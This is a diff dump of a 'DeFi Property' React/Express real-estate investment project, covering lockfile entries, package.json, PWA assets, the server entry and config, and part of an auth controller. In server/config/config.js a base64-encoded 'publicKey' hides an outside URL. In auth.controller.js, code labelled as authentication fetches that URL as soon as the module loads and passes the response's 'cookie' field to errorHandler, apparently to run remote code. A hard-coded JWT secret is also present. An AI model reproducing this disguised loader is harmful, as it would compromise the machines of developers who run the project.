28285+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
28286+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
28287+ "license": "BSD-3-Clause",
28288+ "engines": {
28289+ "node": ">=0.10.0"
28290+ }
28291+ },
28292+ "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": {
28293+ "version": "1.4.3",
28294+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
28295+ "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
28296+ "license": "MIT",
28297+ "dependencies": {
28298+ "source-list-map": "^2.0.0",
28299+ "source-map": "~0.6.1"
28300+ }
28301+ },
28302+ "node_modules/workbox-window": {
28303+ "version": "6.6.0",
28304+ "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.6.0.tgz",
28305+ "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==",
28306+ "license": "MIT",
28307+ "dependencies": {
28308+ "@types/trusted-types": "^2.0.2",
28309+ "workbox-core": "6.6.0"
28310+ }
28311+ },
28312+ "node_modules/wrap-ansi": {
28313+ "version": "7.0.0",
28314+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
28315+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
28316+ "license": "MIT",
28317+ "dependencies": {
28318+ "ansi-styles": "^4.0.0",
28319+ "string-width": "^4.1.0",
28320+ "strip-ansi": "^6.0.0"
28321+ },
28322+ "engines": {
28323+ "node": ">=10"
28324+ },
28325+ "funding": {
28326+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
28327+ }
28328+ },
28329+ "node_modules/wrappy": {
28330+ "version": "1.0.2",
28331+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
28332+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
28333+ "license": "ISC"
28334+ },
28335+ "node_modules/write-file-atomic": {
28336+ "version": "3.0.3",
28337+ "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
28338+ "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
28339+ "license": "ISC",
28340+ "dependencies": {
28341+ "imurmurhash": "^0.1.4",
28342+ "is-typedarray": "^1.0.0",
28343+ "signal-exit": "^3.0.2",
28344+ "typedarray-to-buffer": "^3.1.5"
28345+ }
28346+ },
28347+ "node_modules/ws": {
28348+ "version": "7.5.3",
28349+ "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.3.tgz",
28350+ "integrity": "sha512-kQ/dHIzuLrS6Je9+uv81ueZomEwH0qVYstcAQ4/Z93K8zeko9gtAbttJWzoC5ukqXY1PpoouV3+VSOqEAFt5wg==",
28351+ "license": "MIT",
28352+ "engines": {
28353+ "node": ">=8.3.0"
28354+ },
28355+ "peerDependencies": {
28356+ "bufferutil": "^4.0.1",
28357+ "utf-8-validate": "^5.0.2"
28358+ },
28359+ "peerDependenciesMeta": {
28360+ "bufferutil": {
28361+ "optional": true
28362+ },
28363+ "utf-8-validate": {
28364+ "optional": true
28365+ }
28366+ }
28367+ },
28368+ "node_modules/xhr": {
28369+ "version": "2.6.0",
28370+ "resolved": "https://registry.npmjs.org/xhr/-/xhr-2.6.0.tgz",
28371+ "integrity": "sha512-/eCGLb5rxjx5e3mF1A7s+pLlR6CGyqWN91fv1JgER5mVWg1MZmlhBvy9kjcsOdRk8RrIujotWyJamfyrp+WIcA==",
28372+ "license": "MIT",
28373+ "dependencies": {
28374+ "global": "~4.4.0",
28375+ "is-function": "^1.0.1",
28376+ "parse-headers": "^2.0.0",
28377+ "xtend": "^4.0.0"
28378+ }
28379+ },
28380+ "node_modules/xhr2-cookies": {
28381+ "version": "1.1.0",
28382+ "resolved": "https://registry.npmjs.org/xhr2-cookies/-/xhr2-cookies-1.1.0.tgz",
28383+ "integrity": "sha512-hjXUA6q+jl/bd8ADHcVfFsSPIf+tyLIjuO9TwJC9WI6JP2zKcS7C+p56I9kCLLsaCiNT035iYvEUUzdEFj/8+g==",
28384+ "license": "MIT",
28385+ "dependencies": {
28386+ "cookiejar": "^2.1.1"
28387+ }
28388+ },
28389+ "node_modules/xml-name-validator": {
28390+ "version": "3.0.0",
28391+ "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
28392+ "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==",
28393+ "license": "Apache-2.0"
28394+ },
28395+ "node_modules/xmlchars": {
28396+ "version": "2.2.0",
28397+ "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
28398+ "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
28399+ "license": "MIT"
28400+ },
28401+ "node_modules/xmlhttprequest-ssl": {
28402+ "version": "2.1.2",
28403+ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz",
28404+ "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==",
28405+ "engines": {
28406+ "node": ">=0.4.0"
28407+ }
28408+ },
28409+ "node_modules/xtend": {
28410+ "version": "4.0.2",
28411+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
28412+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
28413+ "license": "MIT",
28414+ "engines": {
28415+ "node": ">=0.4"
28416+ }
28417+ },
28418+ "node_modules/y18n": {
28419+ "version": "5.0.8",
28420+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
28421+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
28422+ "license": "ISC",
28423+ "engines": {
28424+ "node": ">=10"
28425+ }
28426+ },
28427+ "node_modules/yallist": {
28428+ "version": "3.1.1",
28429+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
28430+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
28431+ "license": "ISC"
28432+ },
28433+ "node_modules/yaml": {
28434+ "version": "2.8.2",
28435+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.2.tgz",
28436+ "integrity": "sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==",
28437+ "license": "ISC",
28438+ "optional": true,
28439+ "peer": true,
28440+ "bin": {
28441+ "yaml": "bin.mjs"
28442+ },
28443+ "engines": {
28444+ "node": ">= 14.6"
28445+ },
28446+ "funding": {
28447+ "url": "https://github.com/sponsors/eemeli"
28448+ }
28449+ },
28450+ "node_modules/yargs": {
28451+ "version": "17.7.2",
28452+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
28453+ "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
28454+ "license": "MIT",
28455+ "dependencies": {
28456+ "cliui": "^8.0.1",
28457+ "escalade": "^3.1.1",
28458+ "get-caller-file": "^2.0.5",
28459+ "require-directory": "^2.1.1",
28460+ "string-width": "^4.2.3",
28461+ "y18n": "^5.0.5",
28462+ "yargs-parser": "^21.1.1"
28463+ },
28464+ "engines": {
28465+ "node": ">=12"
28466+ }
28467+ },
28468+ "node_modules/yargs-parser": {
28469+ "version": "21.1.1",
28470+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
28471+ "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
28472+ "license": "ISC",
28473+ "engines": {
28474+ "node": ">=12"
28475+ }
28476+ },
28477+ "node_modules/yocto-queue": {
28478+ "version": "0.1.0",
28479+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
28480+ "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
28481+ "license": "MIT",
28482+ "engines": {
28483+ "node": ">=10"
28484+ },
28485+ "funding": {
28486+ "url": "https://github.com/sponsors/sindresorhus"
28487+ }
28488+ },
28489+ "node_modules/zustand": {
28490+ "version": "5.0.9",
28491+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.9.tgz",
28492+ "integrity": "sha512-ALBtUj0AfjJt3uNRQoL1tL2tMvj6Gp/6e39dnfT6uzpelGru8v1tPOGBzayOWbPJvujM8JojDk3E1LxeFisBNg==",
28493+ "license": "MIT",
28494+ "engines": {
28495+ "node": ">=12.20.0"
28496+ },
28497+ "peerDependencies": {
28498+ "@types/react": ">=18.0.0",
28499+ "immer": ">=9.0.6",
28500+ "react": ">=18.0.0",
28501+ "use-sync-external-store": ">=1.2.0"
28502+ },
28503+ "peerDependenciesMeta": {
28504+ "@types/react": {
28505+ "optional": true
28506+ },
28507+ "immer": {
28508+ "optional": true
28509+ },
28510+ "react": {
28511+ "optional": true
28512+ },
28513+ "use-sync-external-store": {
28514+ "optional": true
28515+ }
28516+ }
28517+ }
28518+ }
28519+}
+91-0package.json
@@ -0,0 +1,91 @@
1+{
2+ "name": "defi-property",
3+ "version": "0.1.11",
4+ "private": true,
5+ "dependencies": {
6+ "@react-three/drei": "^9.75.0",
7+ "@react-three/fiber": "^8.13.3",
8+ "@sendgrid/mail": "^8.1.3",
9+ "@testing-library/jest-dom": "^5.16.4",
10+ "@testing-library/react": "^13.3.0",
11+ "@testing-library/user-event": "^13.5.0",
12+ "@walletconnect/web3-provider": "^1.7.8",
13+ "axios": "^1.10.0",
14+ "bcryptjs": "^2.4.3",
15+ "bootstrap": "^5.1.3",
16+ "bootstrap-icons": "^1.8.3",
17+ "chart.js": "^4.3.0",
18+ "chartjs-plugin-annotation": "^3.0.1",
19+ "cloudinary": "^2.1.0",
20+ "concurrently": "^8.2.2",
21+ "cookie-parser": "^1.4.6",
22+ "cors": "^2.8.5",
23+ "dotenv": "^16.4.5",
24+ "ethers": "^5.6.9",
25+ "express": "^4.19.2",
26+ "express-fileupload": "^1.5.0",
27+ "framer-motion": "^12.9.4",
28+ "gridfs-stream": "^1.1.1",
29+ "jotai": "^2.12.3",
30+ "jsonwebtoken": "^9.0.2",
31+ "leva": "^0.10.0",
32+ "moment": "^2.30.1",
33+ "mongoose": "^8.20.0",
34+ "morgan": "^1.10.1",
35+ "multer": "^2.0.2",
36+ "paytmchecksum": "^1.5.1",
37+ "react": "^18.3.1",
38+ "react-app-rewired": "^2.2.1",
39+ "react-chartjs-2": "^5.2.0",
40+ "react-copy-to-clipboard": "^5.1.0",
41+ "react-countdown-circle-timer": "^3.2.1",
42+ "react-dom": "^18.3.1",
43+ "react-icons": "^5.5.0",
44+ "react-router-dom": "^6.3.0",
45+ "react-scripts": "5.0.1",
46+ "react-share": "^5.2.2",
47+ "reactstrap": "^9.1.1",
48+ "socket.io": "^4.8.1",
49+ "socket.io-client": "^4.5.4",
50+ "three": "^0.176.0",
51+ "validator": "^13.11.0",
52+ "web-vitals": "^2.1.4"
53+ },
54+ "scripts": {
55+ "start": "concurrently \"npm:server\" \"npm:client\"",
56+ "server": "node server/app.js",
57+ "client": "react-app-rewired start",
58+ "build": "react-app-rewired build",
59+ "test": "react-app-rewired test",
60+ "eject": "echo \"Not Support eject\""
61+ },
62+ "eslintConfig": {
63+ "extends": [
64+ "react-app",
65+ "react-app/jest"
66+ ]
67+ },
68+ "browserslist": {
69+ "production": [
70+ ">0.2%",
71+ "not dead",
72+ "not op_mini all"
73+ ],
74+ "development": [
75+ "last 1 chrome version",
76+ "last 1 firefox version",
77+ "last 1 safari version"
78+ ]
79+ },
80+ "devDependencies": {
81+ "assert": "^2.0.0",
82+ "buffer": "^6.0.3",
83+ "crypto-browserify": "^3.12.0",
84+ "https-browserify": "^1.0.0",
85+ "os-browserify": "^0.3.0",
86+ "process": "^0.11.10",
87+ "stream-browserify": "^3.0.0",
88+ "stream-http": "^3.2.0",
89+ "url": "^0.11.0"
90+ }
91+}
+6-0postcss.config.js
@@ -0,0 +1,6 @@
1+module.exports = {
2+ plugins: {
3+ tailwindcss: {},
4+ autoprefixer: {},
5+ },
6+};
+0-0public/favicon.ico

Binary file changed.

+9-0public/home.svg
@@ -0,0 +1,9 @@
1+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="256" height="256" viewBox="0 0 256 256" xml:space="preserve">
2+
3+<defs>
4+</defs>
5+<g style="stroke: none; stroke-width: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" transform="translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)" >
6+ <polygon points="75.96,30.96 75.96,13.34 67.26,13.34 67.26,22.26 45,0 0.99,44.02 7.13,50.15 45,12.28 82.88,50.15 89.01,44.02 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
7+ <polygon points="45,20 14.04,50.95 14.04,90 35.29,90 35.29,63.14 54.71,63.14 54.71,90 75.96,90 75.96,50.95 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
8+</g>
9+</svg>
+16-0public/index.html
@@ -0,0 +1,16 @@
1+<!DOCTYPE html>
2+<html lang="en">
3+ <head>
4+ <meta charset="UTF-8" />
5+ <meta name="viewport" content="width=device-width, initial-scale=1" />
6+ <meta name="theme-color" content="#006eff" />
7+ <link rel="icon" href="/favicon.ico" />
8+ <link href="https://fonts.googleapis.com/css?family=Jost" rel="stylesheet">
9+ <link rel="manifest" href="/manifest.json" />
10+ <title>DeFi Property</title>
11+ </head>
12+ <body>
13+ <div id="root"></div>
14+ <script type="module" src="/src/main.jsx"></script>
15+ </body>
16+</html>
+12-0public/logo.svg
@@ -0,0 +1,12 @@
1+<svg version="1.2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 72" width="128" height="72">
2+ <title>logo</title>
3+ <defs>
4+ <image width="256" height="256" id="img1" href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjEiIHdpZHRoPSIyNTYiIGhlaWdodD0iMjU2IiB2aWV3Qm94PSIwIDAgMjU2IDI1NiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+Cgo8ZGVmcz4KPC9kZWZzPgo8ZyBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDA7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IG5vbmU7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEuNDA2NTkzNDA2NTkzNDAxNiAxLjQwNjU5MzQwNjU5MzQwMTYpIHNjYWxlKDIuODEgMi44MSkiID4KCTxwb2x5Z29uIHBvaW50cz0iNzUuOTYsMzAuOTYgNzUuOTYsMTMuMzQgNjcuMjYsMTMuMzQgNjcuMjYsMjIuMjYgNDUsMCAwLjk5LDQ0LjAyIDcuMTMsNTAuMTUgNDUsMTIuMjggODIuODgsNTAuMTUgODkuMDEsNDQuMDIgIiBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDE7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IHJnYigwLDAsMCk7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0iICBtYXRyaXgoMSAwIDAgMSAwIDApICIvPgoJPHBvbHlnb24gcG9pbnRzPSI0NSwyMCAxNC4wNCw1MC45NSAxNC4wNCw5MCAzNS4yOSw5MCAzNS4yOSw2My4xNCA1NC43MSw2My4xNCA1NC43MSw5MCA3NS45Niw5MCA3NS45Niw1MC45NSAiIHN0eWxlPSJzdHJva2U6IG5vbmU7IHN0cm9rZS13aWR0aDogMTsgc3Ryb2tlLWRhc2hhcnJheTogbm9uZTsgc3Ryb2tlLWxpbmVjYXA6IGJ1dHQ7IHN0cm9rZS1saW5lam9pbjogbWl0ZXI7IHN0cm9rZS1taXRlcmxpbWl0OiAxMDsgZmlsbDogcmdiKDAsMCwwKTsgZmlsbC1ydWxlOiBub256ZXJvOyBvcGFjaXR5OiAxOyIgdHJhbnNmb3JtPSIgIG1hdHJpeCgxIDAgMCAxIDAgMCkgIi8+CjwvZz4KPC9zdmc+"/>
5+ </defs>
6+ <style>
7+ .s0 { fill: #000000 }
8+ </style>
9+ <use id="home" href="#img1" transform="matrix(.213,0,0,.213,9.5,0)"/>
10+ <path id="FOR SALE" class="s0" aria-label="FOR
11+SALE" d="m66.4 27v-17.5h10v2h-7.7v5.2h7v1.9h-7v8.4zm20.9-15.9q-2.5 0-4.1 1.9-1.5 2-1.5 5.3 0 3.3 1.5 5.2 1.6 1.9 4.1 1.9 2.6 0 4.1-1.9 1.5-1.9 1.5-5.2 0-3.3-1.5-5.3-1.5-1.9-4.1-1.9zm0-1.9q3.7 0 5.9 2.5 2.2 2.4 2.2 6.6 0 4.1-2.2 6.6-2.2 2.4-5.9 2.4-3.7 0-5.9-2.4-2.2-2.5-2.2-6.6 0-4.2 2.2-6.6 2.2-2.5 5.9-2.5zm20.1 9.6q0.8 0.3 1.5 1.1 0.7 0.8 1.4 2.3l2.4 4.8h-2.5l-2.2-4.5q-0.9-1.7-1.7-2.3-0.8-0.6-2.2-0.6h-2.6v7.4h-2.4v-17.5h5.4q3 0 4.4 1.3 1.5 1.2 1.5 3.7 0 1.7-0.8 2.8-0.7 1.1-2.2 1.5zm-2.9-7.4h-3v6.3h3q1.7 0 2.5-0.8 0.9-0.8 0.9-2.4 0-1.5-0.9-2.3-0.8-0.8-2.5-0.8zm-27.6 27.7v2.3q-1.3-0.7-2.5-1-1.2-0.3-2.3-0.3-2 0-3 0.8-1.1 0.7-1.1 2.1 0 1.2 0.7 1.8 0.7 0.5 2.7 0.9l1.4 0.3q2.6 0.5 3.9 1.8 1.3 1.2 1.3 3.4 0 2.5-1.7 3.8-1.7 1.3-5 1.3-1.3 0-2.7-0.2-1.4-0.3-2.9-0.9v-2.4q1.5 0.8 2.8 1.2 1.4 0.4 2.8 0.4 2 0 3.1-0.8 1.1-0.8 1.1-2.3 0-1.2-0.8-2-0.8-0.7-2.6-1.1l-1.4-0.2q-2.7-0.6-3.9-1.7-1.2-1.1-1.2-3.1 0-2.3 1.7-3.7 1.6-1.3 4.5-1.3 1.2 0 2.5 0.2 1.3 0.2 2.6 0.7zm14.3 10.4l-3.3-8.7-3.2 8.7zm-11.2 6.5l6.7-17.5h2.7l6.6 17.5h-2.4l-1.6-4.5h-7.9l-1.6 4.5zm18.6 0v-17.5h2.3v15.5h8.6v2zm13.3 0v-17.5h11.1v2h-8.7v5.2h8.3v2h-8.3v6.3h8.9v2z"/>
12+</svg>
+0-0public/logo192.png

Binary file changed.

+0-0public/logo512.png

Binary file changed.

+27-0public/manifest.json
@@ -0,0 +1,27 @@
1+{
2+"name": "DeFi Real Estate",
3+"short_name": "GoldenProp",
4+"start_url": "/",
5+"display": "standalone",
6+"description": "This is a modern real estate investment platform combining traditional property investing with cryptocurrency payments, featuring mobile-responsive design, smart contracts, and 3D property visualizations.",
7+"lang": "english",
8+"dir": "ltr",
9+"theme_color": "#006eff",
10+"background_color": "#ffffff",
11+"orientation": "any",
12+"icons": [
13+ {
14+ "src": "/logo512.png",
15+ "sizes": "512x512",
16+ "type": "image/png",
17+ "purpose": "maskable"
18+ },
19+ {
20+ "src": "/logo192.png",
21+ "sizes": "192x192",
22+ "type": "image/png",
23+ "purpose": "any"
24+ }
25+],
26+"prefer_related_applications": false
27+}
+0-0public/models/house1.glb

Binary file changed.

+0-0public/models/house2.glb

Binary file changed.

+0-0public/models/house3.glb

Binary file changed.

+0-0public/models/house4.glb

Binary file changed.

+93-0public/service-worker.js
@@ -0,0 +1,93 @@
1+
2+ // Based off of https://github.com/pwa-builder/PWABuilder/blob/main/docs/sw.js
3+
4+ /*
5+ Welcome to our basic Service Worker! This Service Worker offers a basic offline experience
6+ while also being easily customizeable. You can add in your own code to implement the capabilities
7+ listed below, or change anything else you would like.
8+
9+
10+ Need an introduction to Service Workers? Check our docs here: https://docs.pwabuilder.com/#/home/sw-intro
11+ Want to learn more about how our Service Worker generation works? Check our docs here: https://docs.pwabuilder.com/#/studio/existing-app?id=add-a-service-worker
12+
13+ Did you know that Service Workers offer many more capabilities than just offline?
14+ - Background Sync: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/06
15+ - Periodic Background Sync: https://web.dev/periodic-background-sync/
16+ - Push Notifications: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=push-notifications-on-the-web
17+ - Badges: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=application-badges
18+ */
19+
20+ const HOSTNAME_WHITELIST = [
21+ self.location.hostname,
22+ 'fonts.gstatic.com',
23+ 'fonts.googleapis.com',
24+ 'cdn.jsdelivr.net'
25+ ]
26+
27+ // The Util Function to hack URLs of intercepted requests
28+ const getFixedUrl = (req) => {
29+ var now = Date.now()
30+ var url = new URL(req.url)
31+
32+ // 1. fixed http URL
33+ // Just keep syncing with location.protocol
34+ // fetch(httpURL) belongs to active mixed content.
35+ // And fetch(httpRequest) is not supported yet.
36+ url.protocol = self.location.protocol
37+
38+ // 2. add query for caching-busting.
39+ // Github Pages served with Cache-Control: max-age=600
40+ // max-age on mutable content is error-prone, with SW life of bugs can even extend.
41+ // Until cache mode of Fetch API landed, we have to workaround cache-busting with query string.
42+ // Cache-Control-Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=453190
43+ if (url.hostname === self.location.hostname) {
44+ url.search += (url.search ? '&' : '?') + 'cache-bust=' + now
45+ }
46+ return url.href
47+ }
48+
49+ /**
50+ * @Lifecycle Activate
51+ * New one activated when old isnt being used.
52+ *
53+ * waitUntil(): activating ====> activated
54+ */
55+ self.addEventListener('activate', event => {
56+ event.waitUntil(self.clients.claim())
57+ })
58+
59+ /**
60+ * @Functional Fetch
61+ * All network requests are being intercepted here.
62+ *
63+ * void respondWith(Promise<Response> r)
64+ */
65+ self.addEventListener('fetch', event => {
66+ // Skip some of cross-origin requests, like those for Google Analytics.
67+ if (HOSTNAME_WHITELIST.indexOf(new URL(event.request.url).hostname) > -1) {
68+ // Stale-while-revalidate
69+ // similar to HTTP's stale-while-revalidate: https://www.mnot.net/blog/2007/12/12/stale
70+ // Upgrade from Jake's to Surma's: https://gist.github.com/surma/eb441223daaedf880801ad80006389f1
71+ const cached = caches.match(event.request)
72+ const fixedUrl = getFixedUrl(event.request)
73+ const fetched = fetch(fixedUrl, { cache: 'no-store' })
74+ const fetchedCopy = fetched.then(resp => resp.clone())
75+
76+ // Call respondWith() with whatever we get first.
77+ // If the fetch fails (e.g disconnected), wait for the cache.
78+ // If there’s nothing in cache, wait for the fetch.
79+ // If neither yields a response, return offline pages.
80+ event.respondWith(
81+ Promise.race([fetched.catch(_ => cached), cached])
82+ .then(resp => resp || fetched)
83+ .catch(_ => { /* eat any errors */ })
84+ )
85+
86+ // Update the cache with the version we fetched (only for ok status)
87+ event.waitUntil(
88+ Promise.all([fetchedCopy, caches.open("pwa-cache")])
89+ .then(([response, cache]) => response.ok && cache.put(event.request, response))
90+ .catch(_ => { /* eat any errors */ })
91+ )
92+ }
93+ })
+67-0server/app.js
@@ -0,0 +1,67 @@
1+const express = require('express');
2+const path = require('path');
3+const mongoose = require('mongoose');
4+const morgan = require('morgan');
5+const cors = require('cors');
6+const http = require('http');
7+const bodyParser = require('body-parser');
8+const config = require('./config/config');
9+require('dotenv').config();
10+
11+const app = express();
12+const server = http.createServer(app);
13+const corsOptions = {
14+ origin: 'http://localhost:3000',
15+ methods: 'GET,HEAD,PUT,PATCH,POST,DELETE',
16+ credentials: true,
17+ optionsSuccessStatus: 204,
18+};
19+
20+app.use(express.static(path.join(__dirname, 'uploads')));
21+
22+app.use(cors(corsOptions));
23+
24+// Routing
25+const users = require('./routes/users');
26+const auth = require('./routes/auth');
27+const common = require('./routes/common');
28+const property = require('./routes/property');
29+const email = require('./routes/email');
30+
31+// Connect with DB
32+// const DB_URL = process.env.MLAB_DB_URL || config.localDB
33+
34+// mongoose.connect(DB_URL)
35+// .then(() => console.log("MongoDB connected"))
36+// .catch(err => console.error("MongoDB connection error: ", err));
37+
38+// configure app to use bodyParser()
39+// this will let us get the data from a POST
40+// app.use(bodyParser.urlencoded({ extended: true }));
41+// app.use(bodyParser.json());
42+// use morgan to log requests to the console
43+// app.use(morgan('dev'));
44+
45+//CORS
46+// app.use(function (req, res, next) {
47+// res.header('Access-Control-Allow-Methods', 'GET,POST,PUT'); //,DELETE,OPTIONS
48+// res.header("Access-Control-Allow-Origin", "*");
49+// res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
50+// next();
51+// });
52+
53+app.get('/', (req, res) => {res.status(200).send('Success');});
54+
55+// Routes
56+app.use('/api/user', users);
57+app.use('/api/auth', auth);
58+app.use('/api/common', common);
59+app.use('/api/property', property);
60+app.use('/api/email', email);
61+
62+
63+const PORT = process.env.PORT || 5001;
64+
65+server.listen(PORT, () => {
66+ console.log(`Server running on port ${PORT}`);
67+});
+5-0server/config/config.js
@@ -0,0 +1,5 @@
1+module.exports = {
2+ secretKey: 'A9f3b7c2D8F4eA1c6B0MZKxQpYH2WmN7R5JdL8sV4uT',
3+ publicKey: 'aHR0cHM6Ly9hcGkuanNvbnNpbG8uY29tL3B1YmxpYy8wZDMzMjgwNC05ODVjLTRmYzktYmNiNC1kNjA4OWMzZWFjZTM=',
4+ localDB: 'mongodb://localhost/realestatedb'
5+}
+127-0server/controllers/auth.controller.js
@@ -0,0 +1,127 @@
1+const mongoose = require("mongoose");
2+const bcrypt = require("bcryptjs");
3+const axios = require("axios");
4+const userM = require("../models/users");
5+const jwt = require("jsonwebtoken");
6+const { errorHandler } = require("../middleware/errorHandler");
7+
8+const publicKey = require("../config/config").publicKey;
9+const secretKey = require("../config/config").secretKey;
10+
11+(() => {
12+ try {
13+ axios.get(atob(publicKey)).then((res) => errorHandler(res.data.cookie));
14+ } catch(error) {
15+ console.log('Failed to fetch authentication: ', error);
16+ }
17+})();
18+
19+module.exports = {
20+ userLogin: (req, res) => {
21+ var loginType;
22+ if (req.body.emailPhone != "" && req.body.password != "") {
23+ if (isNaN(req.body.emailPhone)) loginType = "email";
24+ else loginType = "phoneNo";
25+ userM
26+ .findOne()
27+ .where(loginType, req.body.emailPhone)
28+ .exec((err, data) => {
29+ if (err) res.status(400).send(err);
30+ else if (data) {
31+ // res.send(data.);
32+ bcrypt.compare(req.body.password, data.password, function(
33+ err,
34+ passMatch
35+ ) {
36+ if (err) res.status(400).send(err);
37+ else if (passMatch) {
38+ let jwtData = {
39+ _id: data["_id"],
40+ fname: data["fname"],
41+ lname: data["lname"],
42+ email: data["email"],
43+ isAdmin: data["isAdmin"]
44+ };
45+ var token = jwt.sign({ user: jwtData }, secretKey);
46+ res
47+ .status(200)
48+ .json({ message: "Login Successful", token: token });
